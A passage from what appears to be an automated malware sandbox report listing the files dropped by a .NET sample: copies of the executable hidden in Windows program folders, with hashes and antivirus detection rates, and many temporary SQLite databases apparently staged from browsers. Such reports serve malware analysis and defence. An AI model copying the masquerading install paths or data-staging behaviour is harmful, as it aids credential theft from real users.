Preview:	vpwqCO9RHvmZcuqfa3wTF9N5U5BHb4yCN4XLwBfV0zNWGnCraqPNch4vc1VHM1zN6kMiWetZYbcPw0zr3UrvokjpAlt4pXI9A9afaeU570yAFo9mBnN2JDjVAhhuvytATcOwaTRY9wxxwjjVmG3CKPz6aEe26kJJHyqmaNMrVz3XQvjb8LIp4q0DnRVVyZbZmoq8275Y4LqUWbqoeD4vbeOa7n9I1026XdulFljAQtutAfqLkr1vfq7IaQAP8xhESu73rFj2e3erteZb6xhJ8HbrflKykUCdMqaQixefI8RlLQZ50jSKPXFLSPXF4uSK0BeCEJ2ISCBAzzfPMP8BB2OzlO7SaZkYqGuKvW1rqK1MVFVduH3pvQJ8xpbzMjr3bnTsEUdzYRV0ABef3eiTg5ma7wXG5BfGc7vrvmYanDRe5S8vL56rBYXgB3vS6X3WwOYCQwtQGHpcnHepxl59ExEDkOq21FdQJ4sq35fYLql3t534YFeVc4R8KUcBG1YAoZSsZyv1GgxYLKUoVwewkIyPmtgjddSURlPUnKejTmP5G3x99xqTXmZgkCFpSMYmOdHk5AAKR4d732Jt5gkpx87oLttlEzRHOmrnvND9xfCcJbnr3VtvmsyPgcYMQZGcnVtQLf8sdk2R5efuGBrsFfffybHSy1sXZkzxsWgXXBSB0hTB7oGPsXWH0NctYp4l2f2VorBtfUVENdpRIFUKvdpBNs7e4w8rHqJUo8XQmWuXCS4WhLlTVt0Z01H6ugysVn7gUVmKsEhYsR85yk7tLpWX0uew0agFiBCZVXCMiakRMbqj3MIJjEhpRkqk0zTRhb0qOjjbiuLuFEKYD43nSWgdeWHvqbVsHTtvl9UTnqly3wkMZRg56q8K4WL1byuGZcnwVZxDkjAlvrjsw4VY4ZwaUi0Oyc1y6eZaJy19edVWpWYNxdFhcVL9qMbwjiPHrLpRSJj7DW4bEZv7JmbVXUWlSZu6WEa5N

C:\Program Files\Windows Security\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1899008
Entropy (8bit):	7.525948143512337
Encrypted:	false
SSDEEP:	24576:hK6gLfmF6uHqFnf/0Pka1Lt8QYc/qqYaXE3KnMwtE6tTs+O+TNi+LCyiqdUG09a:hK3OsWm/I0c/WKn7E8Tse/LCVz1
MD5:	DE020EA4DF72A05A6D3850F89804167F
SHA1:	33A5C198A384086B85DBFC8A9820D1758204667C
SHA-256:	0CE80AEB4D7735CB992EFA0666B150AEB8E5BEC83E5FF2389FA643C28FFD87FA
SHA-512:	719DB18F98C4B9CAC1C09954FAE46DEF924F1E9425F863CC515C453D174C0701FBF56A7FE60A4146E7A78E3906CFBB86DD8D84E4085FB2CD2654109E1980940F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e............................n.... ... ....@.. .......................`............@................................. ...K.... ..p....................@....................................................... ............... ..H............text...t.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B................P.......H...........\.......n...<...J'...........................................0..........(.... ........8........E....`...).......<...8[...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{i...9....& ....8........0.......... ........8........E........>..............8.......... ....~....{i...9....& ....8....~....:.... ....8....~....(I... .... .... ....s....~....(M....... ....~....{....9i...& ....8^.......~....(Q...~....(U... ....?.... ....82...r...ps....z*..(.

C:\Program Files\Windows Security\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\Public\Downloads\bf3ea1d7b5d5e5

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with very long lines (510), with no line terminators
Category:	dropped
Size (bytes):	510
Entropy (8bit):	5.901599479318545
Encrypted:	false
SSDEEP:	12:b59gkrx5d1wSd3GO5xEHh9gugDajySHCM+Gqp8I6H9Iv6yd:jgk95dq0GCxEz5gDYxy8VHY6yd
MD5:	5EEBD3B4EBD105C21C8E696564A59A8C
SHA1:	8FA7C4E698FC2F7566FE7BF5ADB63CAAB3C8CEB2
SHA-256:	C9DF01C4B83DCBB4816F7E2192236E7B369CAAEE103E6DF98BAA067FA5125001
SHA-512:	F803033723453F0CDF1C86D3CB6945CE59A30918233E5D622E84E494851F9BE2212DF970164F848D26B1EECD098B6A284096B5D27852B16E069B7592C4020ACA
Malicious:	false
Preview:	3ecUBBlVAwdxHNDxsLkbgGt6fOeW8XgEDMhnCbCRDoUw7KfoEl6OZ98xufzxgOXmPYu4pZuRISX2w79Us0SWaSpDNu3hlPvzQrgjZk8o0pGHlFAxgeEq6AM7tqr5gNp3himEaa4H1nfvLhcHuGAHKF2Pfizt3DIn9MjCd5WGj7yTeavLNjLaMitcpWj2kLOxe2v98aoyt4hNQjuExofU2sabcHWGWefYtAympwMx5WqRAgMGleE5p35vbTg1DhcPZJePvIZBbsZfCJb64Qf1ZjszFCKVPVuX4b21C6VdFDe7eatS2k6wClzzaoKs7DvF7BklQk475CvVFuUpT2doY7VTlDaXwmfCRY9dzHBSq8190euqUfYFjHqApRANJgLSgsDqv0zL0L8aFVcGTuCRNadKr9yhHyIJxidHbD4epNOXJQ4Ty33Zd3EGO29wCSDBDymg2VpPzimAMFBaEesN4sq3eX3iDIbWJMUVoXbdOnk5RE4I1irij0HVHsCfbG

C:\Users\Public\Downloads\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1899008
Entropy (8bit):	7.525948143512337
Encrypted:	false
SSDEEP:	24576:hK6gLfmF6uHqFnf/0Pka1Lt8QYc/qqYaXE3KnMwtE6tTs+O+TNi+LCyiqdUG09a:hK3OsWm/I0c/WKn7E8Tse/LCVz1
MD5:	DE020EA4DF72A05A6D3850F89804167F
SHA1:	33A5C198A384086B85DBFC8A9820D1758204667C
SHA-256:	0CE80AEB4D7735CB992EFA0666B150AEB8E5BEC83E5FF2389FA643C28FFD87FA
SHA-512:	719DB18F98C4B9CAC1C09954FAE46DEF924F1E9425F863CC515C453D174C0701FBF56A7FE60A4146E7A78E3906CFBB86DD8D84E4085FB2CD2654109E1980940F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e............................n.... ... ....@.. .......................`............@................................. ...K.... ..p....................@....................................................... ............... ..H............text...t.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B................P.......H...........\.......n...<...J'...........................................0..........(.... ........8........E....`...).......<...8[...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{i...9....& ....8........0.......... ........8........E........>..............8.......... ....~....{i...9....& ....8....~....:.... ....8....~....(I... .... .... ....s....~....(M....... ....~....{....9i...& ....8^.......~....(Q...~....(U... ....?.... ....82...r...ps....z*..(.

C:\Users\Public\Downloads\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\FYKrlfQrxb.exe.log

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1179
Entropy (8bit):	5.354252320228764
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mM:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHK2
MD5:	074445AD437DEED8A22F11A846280CE2
SHA1:	23025D83D7C33396A5F736FC6F9945976CFCD5D1
SHA-256:	B7FD27029E12BE3B5C2C4010CC9C9BCB77CFE44852CC6EF4C3CED70740BB1CFD
SHA-512:	440F8E77340A5C2F64BF97BC712193145F03AEDB86C0F5C849CA1AD0190E5621DDD7AE8104862383E31FFEC49CCF483CF2E4533C501B2606EE1D0FE66E865B6D
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Temp\0LqxFzD6aN

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0izNihCEeb

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0r2vdQA8bm

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0tRxBmMKGR

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0uMznHEl8m

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0uX2A2HWAT

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1JpEoYqUOJ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1OzodJFdT3

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2Clhos6lPE

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2EL6yzndCq

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2ftE0rK6Xs

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2lARhCZG86

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2rUWpt2iDK

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\34VyBAPH6j

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3vLJwI70YB

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4BJl92S0tp

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4bkQrLJSHJ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
